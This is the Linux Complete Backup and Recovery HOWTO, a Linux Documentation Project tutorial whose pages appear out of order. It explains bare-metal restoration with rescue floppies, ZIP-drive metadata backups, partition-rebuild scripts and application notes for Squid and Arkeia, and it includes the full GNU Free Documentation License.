Squid is a http proxy and cache. As such it keeps a lot of temporary data on the hard drive. There is no point in backing that up. Insert "--exclude /var/spool/squid" into the appropriate tar command in your second stage backup script. Then, get squid to rebuild its directory structure for you. Tack onto the tail end of the second stage restore script a command for squid to initialize itself. Here is how I did it over ssh in restore.tester:

ssh $target "mkdir /var/spool/squid ; chown squid:squid /var/spool/squid;\
      /usr/sbin/squid -z;touch /var/spool/squid/.OPB_NOBACKUP"

The last command creates a file of length 0 called .OPB_NOBACKUP. This is for the benefit of Arkeia, and tells Arkeia not to back up below this directory

8.2. Arkeia

Arkeia is a backup and restore program that runs on a wide variety of platforms. You can use Arkeia as part of a bare metal restoration scheme, but there are two caveats.

The first is probably the most problematic, as absent any more elegant solution you have to hand select the directories to restore in the navigator at restoration time. The reason is that, apparently, Arkeia has no mechanism for not restoring files already present on the disk, nothing anlogous to tar's -p option. If you simply allow a full restore, the restore will crash as Arkeia over-writes a library which is in use at restore time, e.g. lib/libc-2.1.1.so. Hand selection of directories to restore is at best dicy, so I recommend against it.

The second caveat is that you have to back up the Arkeia data dictionary and/or programs. To do that, modify the save.metatdata script by adding Arkeia to the list of directories to save:

# arkeia specific:
tar cf - usr/knox | gzip -c > $zip/arkeia.tar.gz

You must back up the data dictionary this way because Arkeia does not back up the data dictionary. This is one of my complaints about Arkeia, and I solve it on my own computer by saving the data dictionary to tape with The TOLIS Group's BRU™.

The data dictionary will be restored in the script restore.metadata automatically.

Prev | Home | Next
Distribution Specific Notes |  | Some Advice for Disaster Recovery


Booting tomsrtbt

Linux Complete Backup and Recovery HOWTO
Prev Next

5. Booting tomsrtbt

The first thing to do before starting the restoration process is to verify that the hardware time is set correctly. Use the BIOS setup for this. How close to exact you have to set the time depends on your applications. For restoration, within a few minutes of exact time should be accurate enough. This will allow time-critical events to pick up where they left off when you finally launch the restored system.

Before booting tomsrtbt, make sure your ZIP® drive is placed on a parallel port, either /dev/lp0 or /dev/lp1. The start-up software will load the parallel port ZIP® drive driver for you.

The next step is to set the video mode. I usually like to see as much on the screen as I can. When the option to select a video mode comes, I use mode 6, 80 columns by 60 lines. Your hardware may or may not be able to handle high resolutions like that, so experiment with it.

Once tomsrtbt has booted and you have a console, mount the ZIP® drive. It is probably a good idea to mount it read only:

# mount /dev/sda1 /mnt -o ro

Check to be sure it is there:

# ls -l /mnt

Then change to the directory where the scripts are on the ZIP® drive.

# cd /mnt/root.bin

Now run the script that will restore the partition information, e.g.:

# ./make.dev.hda

This script will:

  • Clean out the first 1024 bytes of the hard drive, killing off any existing partition table and master boot record (MBR).

  • Recreate the partitions from the information gathered when you ran make.fdisk.

  • Make ext2 file system partitions and Linux swap partitions as appropriate.

  • Make some types of FAT partitions.

  • Make mount points and mount the ext2 partitions for you.

Note | NOTE
 | If you have other operating systems to restore, now is a good time to do so. First, reboot to tomsrtbt to finish restoring Linux. You will have to remount the partitions you just built. Make a new, separate, script to mount the partitions from the tail end of the make.dev.x script.

Once you have created all your directories and mounted partitions to them, you can run the script restore.metadata. This will restore the contents of the ZIP® drive to the hard drive.

You should see a directory of the ZIP® disk's root directory, then a list of the archive files as they are restored. Tar on tomsrtbt will tell you that tar's block size is 20, and that's fine. You can ignore it. Be sure that lilo prints out its results:

Added linux *

That will be followed by the output from a "df -m" command.

If you normally boot directly to X, you could have some problems. To be safe, change your boot run level temporarily. In /target/etc/inittab, find the line that looks like this:

id:5:initdefault:

and change it to this:

id:3:initdefault:

Now, you can gracefully reboot. Remove the tomsrtbt floppy from your floppy drive if you haven't already done so, and give the computer the three fingered salute, or its equivalent:

shutdown -r now

The computer will shut down and reboot.

Prev | Home | Next
Creating the Stage 1 Back Up |  | Second Stage Restoration


Creating the Stage 1 Back Up

Linux Complete Backup and Recovery HOWTO
Prev Next

4. Creating the Stage 1 Back Up

Having made your production backups, you need to preserve your partition information so that you can rebuild your partitions.

The script make.fdisk scans a hard drive for partition information, and saves it in two files. One is an executable script, called make.dev.x. The other, dev.x (where "x" is the name of the device file, e.g. hda), is the commands necessary for fdisk to build the partitions. You specify which hard drive you want to build scripts for (and thus the file names) by naming the associated device file as the argument to make.fdisk. For example, on a typical IDE system,

bash# make.fdisk /dev/hda

spits out the script make.dev.hda and the input file for fdisk, dev.hda.

In addition, if make.fdisk encounters a FAT partition other than FAT32, it preserves the partition's boot sector in a file named dev.xy, where x is the drive's device name (e.g. sdc, hda) and y is the partition number. The boot sector is the first sector, 512 bytes, of the partition. This sector is restored at the same time the partitions are rebuilt, in the script make.dev.hda

Fortunately, the price of hard drives is plummeting almost as fast as the public's trust in politicians after an election. So it is good that the output files are text, and allow hand editing. Right now, that's the only way to rebuild on a larger replacement drive. (See the To Do list.)

Other metadata are preserved in the script save.metadata. The script saves the partition information in the file fdisk.hda in the root of the ZIP® disk. It is a good idea to print this file and your /etc/fstab so that you have hard copy should you ever have to restore the partition data manually. You can save a tree by toggling between two virtual consoles, running fdisk in one and catting /etc/fstab or /fdisk.hda as needed. However, doing so is error prone.

You will also want to preserve files relevant to your restoration method. For example, if you use nfs to save your data, you will need to preserve hosts.allow, hosts.deny, exports, etc. Also, if you are using any network-backed restoration process, such as Amanda or Quick Restore, you will need to preserve networking files like HOSTNAME, hosts, etc. and the relevant software tree.

The simplest way to handle these and similar questions is to preserve the entire etc directory.

There is no way a 100 MB ZIP® drive is going to hold a server installation of a modern distribution of Linux. We have to be much more selective than simply preserving the whole kazoo. What files do we need?

  • The boot directory.

  • The /etc directory and subdirectories.

  • Directories needed at boot time.

  • Device files in /dev.

To determine the directories needed at boot, we look at the boot initialization file /etc/rc.sysinit. It sets its own path like so:

PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH

Trial and error indicated that we needed some other directories as well, such as /dev. In Linux, you can't do much without device files.

In reading the script save.metadata, note that we aren't necessarily saving files that are called with absolute paths.

We may require several iterations of back up, test the bare metal restore, re-install from CD and try again, before we have a working backup script. While I worked on this HOWTO, I made five such iterations before I had a successful restoration. That is one reason why it is essential to use scripts whenever possible. Test thoroughly!

Prev | Home | Next
Preparation |  | Booting tomsrtbt


Distribution Specific Notes

Linux Complete Backup and Recovery HOWTO
Prev Next

7. Distribution Specific Notes

Below are distribution notes from past experiences. If you have additional notes that you would like to add for other distributions, please forward them to me.

7.1. Red Hat 7.1

This distribution is the one I use on my test computer. I have had no problems with it.

7.2. Red Hat 7.0

This version seems to require libcrack (in /usr/lib) and its attendant files in order to authenticate users. So in save.metadata, add to the line that saves /usr/lib the following: /usr/lib/*crack* and enable that line.

Prev | Home | Next
Second Stage Restoration |  | Application Specific Notes


PREAMBLE

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | APPLICABILITY AND DEFINITIONS


APPLICABILITY AND DEFINITIONS

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
PREAMBLE | Up | VERBATIM COPYING


VERBATIM COPYING

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
APPLICABILITY AND DEFINITIONS | Up | COPYING IN QUANTITY


COPYING IN QUANTITY

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
VERBATIM COPYING | Up | MODIFICATIONS


MODIFICATIONS

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
COPYING IN QUANTITY | Up | COMBINING DOCUMENTS


COMBINING DOCUMENTS

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
MODIFICATIONS | Up | COLLECTIONS OF DOCUMENTS


COLLECTIONS OF DOCUMENTS

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
COMBINING DOCUMENTS | Up | AGGREGATION WITH INDEPENDENT WORKS


AGGREGATION WITH INDEPENDENT WORKS

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
COLLECTIONS OF DOCUMENTS | Up | TRANSLATION


TRANSLATION

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
AGGREGATION WITH INDEPENDENT WORKS | Up | TERMINATION


TERMINATION

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
TRANSLATION | Up | FUTURE REVISIONS OF THIS LICENSE


FUTURE REVISIONS OF THIS LICENSE

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License Next

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
TERMINATION | Up | How to use this License for your documents


How to use this License for your documents

Linux Complete Backup and Recovery HOWTO
Prev A. GNU Free Documentation License

11. How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
FUTURE REVISIONS OF THIS LICENSE | Up


Linux Complete Backup and Recovery HOWTO

Charles Curley

ccurley at trib dot com

Revision History
Revision 0.02 | 2002-01-27 | Revised by: c^2
Added Mondo to resources
Revision 0.01 | 2001-10-25 | Revised by: c^2
Initial version for LDP release

Imagine your disk drive has just become a very expensive hockey puck. Imagine you have had a fire, and your computer case now looks like something Salvidor Dali would like to paint. Now what?

Total restore, sometimes called bare metal recovery, is the process of rebuilding a computer after a catastrophic failure. In order to make a total restoration, you must have complete backups, not only of your file system, but of partition information and other data. This HOWTO is a step-by-step tutorial on how to back up a Linux computer so as to be able to make a bare metal recovery, and how to make that bare metal recovery. It includes some related scripts.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
1.6. Translations
2. Overview
2.1. Limitations
3. Preparation
3.1. Installing the ZIP® Drive
4. Creating the Stage 1 Back Up
5. Booting tomsrtbt
6. Second Stage Restoration
7. Distribution Specific Notes
7.1. Red Hat 7.1
7.2. Red Hat 7.0
8. Application Specific Notes
8.1. Squid
8.2. Arkeia
9. Some Advice for Disaster Recovery
10. What Now?
10.1. To Do
11. The Scripts
11.1. First Stage
11.2. Second Stage
11.3. Backup Server Scripts
12. Resources
A. GNU Free Documentation License
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
11. How to use this License for your documents
Next
Introduction


Introduction

Linux Complete Backup and Recovery HOWTO
Prev Next

1. Introduction

The normal bare metal restoration process is: install the operating system from the product disks. Install the backup software, so you can restore your data. Restore your data. Then you get to restore functionality by verifying your configuration files, permissions, etc.

The process and scripts explained in this HOWTO will save re-installing the operating system. The process explained here will restore only files that were backed up from the production computer. Your configuration will be intact when you restore the system, which should save you hours of verifying configurations and data.

1.1. Copyright Information

Copyright © 2001, 2002 Charles Curley and distributed under the terms of the GNU Free Documentation License (GFDL) license, stated below. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have any questions, please contact <linux-howto at metalab.unc.edu>.

1.2. Disclaimer

No liability for the contents of this documents can be accepted by the author, the Linux Documentation Project or anyone else. Use the concepts, examples and other content at your own risk. There may be errors and inaccuracies that may be damaging to your system. Proceed with caution, and although errors are unlikely, the author(s) take no responsibility for them.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

In addition, you are strongly recommended to use a sacrificial experimental computer when mucking with the material, espcially the scripts, in this HOWTO.

1.3. New Versions

You can find this document at its home page or at the Linux Documentation Project homepage in many formats. Please comment to <ccurley at trib dot com>

  • bzip2 compressed chunky (lots of small pages. Faster reading.) HTML.

  • bzip2 compressed smooth (one monster page -- no chunks. Easier to search.) HTML.

  • bzip2 compressed postscript (US letter format).

  • bzip2 compressed PDF (US letter format).

  • Use the source, Luke. It will be available here until I get this checked into the LDP CVS.

1.4. Credits

This document is derived from two articles originally published in Linux Journal. My thanks to Linux Journal for reverting the rights to those articles, thereby helping make this HOWTO possible.

Thanks to Joy Y Goodreau for excellent HOWTO editing.

1.5. Feedback

Feedback is most certainly welcome for this document. Without your corrections, suggestions and other input, this document wouldn't exist. Please send your additions, comments and criticisms to me at: <ccurley at trib.com>.

1.6. Translations

Not everyone speaks English. Volunteers are welcome.

Prev | Home | Next
Linux Complete Backup and Recovery HOWTO |  | Overview


Overview

Linux Complete Backup and Recovery HOWTO
Prev Next

2. Overview

The process shown below is not easy, and can be hazardous to your data. Practice it before you need it! Do as I did, and practice on a sacrificial computer!

The target computer for this HOWTO is a Pentium computer with a Red Hat 7.1 Linux server or workstation installation on one IDE hard drive. The target computer does not have vast amounts of data because the computer was set up as a "sacrificial" test bed. That is, I did not want to test this process with a production computer and production data. Also, I did a fresh installation before I started the testing so that I could always re-install if I needed to revert to a known configuration.

Note | NOTE
 | The sample commands will show, in most cases, what I had to type to recover the target system. You may have to use similar commands, but with different parameters. It is up to you to be sure you duplicate your setup, and not the test computer's setup.

The basic procedure is set out in W. Curtis Preston, Unix Backup & Recovery, O'Reilly & Associates, 1999, which I have favorably reviewed in Linux Journal. However, the book is a bit thin on specific, real-time questions. For example, exactly which files do you back up? What metadata do you need to preserve, and how?

Before beginning the process set forth in this HOWTO you will need to back up your system with a typical backup tool such as Amanda, BRU™, tar, Arkeia or cpio. The question, then, is how to get from toasted hardware to the point where you can run the restoration tool that will restore your data.

Users of Red Hat Package Manager (RPM) based Linux distributions should also save RPM metadata as part of their normal backups. Something like:

bash# rpm -Va > /etc/rpmVa.txt

in your backup script will give you a basis for comparison after a bare metal restoration.

To get to this point, you need to have:

  • Your hardware up and running again, with replacement components as needed. The BIOS should be correctly configured, including time and date, and hard drive parameters. At the moment, there is no provision for using a different hard drive.

  • A parallel port Iomega® ZIP® drive or equivalent. You will need at least 30 MB of space.

  • Your backup media.

  • A minimal Linux system that will allow you to run the restoration software.

To get there, you need at least two stages of backup, and possibly three. Exactly what you back up and in which stage you back it up is determined by your restoration process. For example, if you are restoring a tape server, you may not need networking during the restoration process. So only back up networking in your regular backups.

You will restore in stages as well. In stage one, we build partitions, file systems, etc. and restore a minimal file system from the ZIP® disk. The goal of stage one is to be able to boot to a running computer with a network connection, tape drives, restoration software, or whatever we need for stage two.

The second stage, if it is necessary, consists of restoring backup software and any relevant databases. For example, suppose you use Arkeia and you are building a bare metal recovery ZIP® disk for your backup server. Arkeia keeps a huge database on the server's hard drives. You can recover the database from the tapes, if you want. Instead, why not tar and gzip the whole arkeia directory (at /usr/knox), and save that to another computer over nfs or ssh? Stage one, as we have defined it below, does not include X, so you will have some experimenting to do if you wish to back up X as well as your backup program. Some restore programs require X.

Of course, if you are using some other backup program, you may have some work to do to. You will have to find out the directories and files it needs to run. If you use tar, gzip, cpio, mt or dd for your backup and recovery tools, they will be saved to and restored from our ZIP® disk as part of the stage one process describe below.

The last stage is a total restoration from tape or other media. After you have done that last stage, you should be able to boot to a fully restored and operational system.

2.1. Limitations

This HOWTO is restricted to making a minimal backup such that, having then restored that backup to new hardware ("bare metal"), you can then use your regular backups to restore a completely working system. This HOWTO does not deal with your regular backups at all.

Even within that narrow brief, this HOWTO is not exhaustive. You still have some research, script editing, and testing to do.

The scripts here restore the partition data exactly as found on the source hard drive. This is nice if you are restoring on an identical computer or at least and identical hard drive, but that is often not the case. For now, there are two remedies (which will make more sense after you've read the rest of the HOWTO):

  • Edit the partition table input file. I've done that a few times. You can also do this to add new partitions or delete existing ones (but edit the script that uses the partition table input file as well).

  • Hand build a new partition table and go from there. That is one reason why restore.metadata does not call the hard drive rebuilding script. (Another being that I don't know what hard drives you have.) Make sure you remove the call to fdisk from the rebuilding script.

The scripts shown here only handle ext2fs, FAT12 and FAT16. Until some eager volunteer supplies code for doing so in these scripts, you will need other tools for backing up and restoring file systems we haven't covered. Partition Image looks like a useful candidate here.

Prev | Home | Next
Introduction |  | Preparation


Preparation

Linux Complete Backup and Recovery HOWTO
Prev Next

3. Preparation

Note | WARNING
 | Do your normal backups on their regular schedule. This HOWTO is useless if you don't do that.

Build yourself a rescue disk. I use tomsrtbt. It is well documented and packs a lot of useful tools onto one floppy diskette. There is an active list for it, and the few questions I've had were quickly and accurately answered. I like that in a product my shop may depend on one day.

Next, figure out how to do the operating system backup you will need so that you can restore your normal backup. I followed Preston's advice and used an Iomega® parallel port ZIP® drive. The drives get approximately 90 MB of useful storage to a disk. I need about 85 MB to back up my desktop, so a 100MB ZIP® drive may be pushing your luck.

3.1. Installing the ZIP® Drive

Installing the ZIP® drive is covered in the ZIP® Drive HOWTO, available at the Linux Documentation Project and at its home page, http://www.njtcom.com/dansie/zip-drive.html.

Prev | Home | Next
Overview |  | Creating the Stage 1 Back Up


Resources

Linux Complete Backup and Recovery HOWTO
Prev Next

12. Resources

  • W. Curtis Preston's excellent Unix Backup & Recovery. This is the book that got me started on this bare metal recovery stuff. I highly recommend it; read my review.

  • A list of small Linux disties.

  • tomsrtbt, "The most Linux on 1 floppy disk." Tom also has links to other small disties.

  • The Linux Documentation Project. See particularly the "LILO, Linux Crash Rescue HOW-TO"

  • The Free Software Foundation's parted for editing (enlarging, shrinking, moving) partitions.

  • Partition Image for backing up partitions.

  • Hugo Rabson's Mondo "... creates one or more bootable Rescue CD's (or tape+floppies) containing some or all of your filesystem. In the event of catastrophic data loss, you will be able to restore from bare metal."

Prev | Home | Next
The Scripts |  | GNU Free Documentation License


Second Stage Restoration

Linux Complete Backup and Recovery HOWTO
Prev Next

6. Second Stage Restoration

As the computer reboots, go back to the BIOS and verify that the clock is more or less correct.

Once you have verified the clock is correct, exit the BIOS and reboot to the hard drive. You can simply let the computer boot in its normal sequence. You will see a lot of error messages, mostly along the lines of "I can't find blah! Waahhh!" If you have done your homework correctly up until now, those error messages won't matter. You don't need linuxconf or apache to do what you need to do.

Note | NOTE
 | As an alternative, you can boot to single user mode (at the lilo prompt, enter linux single), but you will have to configure your network manually and fire up sshd or whatever daemons you need to restore your system. How you do those things is very system specific.

You should be able to log into a root console (no X -- no users, sorry). You should now be able to use the network, for example to nfs mount the backup of your system.

If you did the two stage backup I suggested for Arkeia, you can now restore Arkeia's database and executables. You should be able to run

/etc/rc.d/init.d/arkeia start

and start the server. If you have the GUI installed on another computer with X installed, you should now be able to log in to Arkeia on your tape server, and prepare your restoration.

Note | NOTE
 | When you restore, read the documentation for your restoration programs carefully. For example, tar does not normally restore certain characteristics of files, like suid bits. File permissions are set by the user's umask. To restore your files exactly as you saved them, use tar's p option. Similarly, make sure your restoration software will restore everything exactly as you saved it.

To restore the test computer:

bash# restore.all

If you used tar for your backup and restoration, and used the -k (keep old files, don't overwrite) option, you will see a lot of this:

tar: usr/sbin/rpcinfo: Could not create file: File exists
tar: usr/sbin/zdump: Could not create file: File exists
tar: usr/sbin/zic: Could not create file: File exists
tar: usr/sbin/ab: Could not create file: File exists

This is normal, as tar is refusing to overwrite files you restored during the first stage of restoration.

Then reboot. On the way down, you will see a lot of error messages, such as "no such pid." This is a normal part of the process. The shutdown code is using the pid files from daemons that were running when the backup was made to shut down daemons that were not started on the last boot. Of course there's no such pid.

Your system should come up normally, with a lot fewer errors than it had before, ideally no errors. The acid test of how well your restore works on an RPM based system is to verify all packages:

bash# rpm -Va

